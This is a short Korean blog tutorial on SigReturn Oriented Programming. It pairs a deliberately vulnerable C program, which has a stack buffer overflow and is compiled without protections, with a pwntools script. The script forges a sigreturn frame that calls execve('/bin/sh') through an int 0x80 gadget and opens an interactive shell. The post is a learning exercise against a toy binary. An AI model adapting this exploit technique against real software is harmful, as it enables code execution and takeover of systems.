Self-Improvement

SROP(SigReturn Oriented Programming) 기초 예제 본문

리버싱 기초

SROP(SigReturn Oriented Programming) 기초 예제

JoGeun 2020. 6. 9. 13:45

SROP.pdf
0.07MB

 

CODE

1
2
3
4
5
6
7
8
9
10
11
12
13
// gcc -o srop srop.c -fno-stack-protector -mpreferred-stack-boundaey=2
char sh[] = "/bin/sh";
 
void int80()
{
    asm("int $0x80");
}
 
void main()
{
    char buf[8];
    read(0, buf, 128);
}
cs

int 0x80 가젯과 EAX를 제어할 수 있는 read()함수가 존재하여 SROP가 가능하다.

자세한 사항은 위 참고자료를 확인해본다.

 

read()함수에서 119개의 문자열을 입력하여 EAX를 0x77로 만들어준다.

read()함수는 입력한 길이만큼 EAX로 반환되기 때문이다.

0x0a를 포함하므로 118개의 A문자열을 입력해주었다.

 

int 0x80 가젯은 코드내에 있음으로 찾아준다.

 

"/bin/sh"도 코드내에 있음으로 찾아준다.

 

Python Pwntools

syscall은 int0x80 주소이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
= process('./srop')
 
syscall = 0x804840e
 
payload = "A"*12
payload += p32(syscall)
payload += p32(0x33)
payload += p32(0)
payload += p32(0x7b)
payload += p32(0x7b)
payload += p32(0)
payload += p32(0)
payload += p32(0) #ebp
payload += p32(0) #esp
payload += p32(0x804a01c)
 
payload += p32(0)
payload += p32(0)
payload += p32(0xb)
payload += p32(0)
payload += p32(0)
payload += p32(syscall)
payload += p32(0x73)
payload += p32(0x246)
payload += p32(0)
payload += p32(0x7b)
payload += "\x00"*(118-len(payload))
 
s.sendline(payload)
s.interactive()
cs

 

개념은 이해가 됬지만 실제 문제로 나올시엔 "/bin/sh"의 문자열을 bss영역에 쓰고 읽고 해야되는데.. 진짜로 풀어봐야 알 수 있을 것 같다.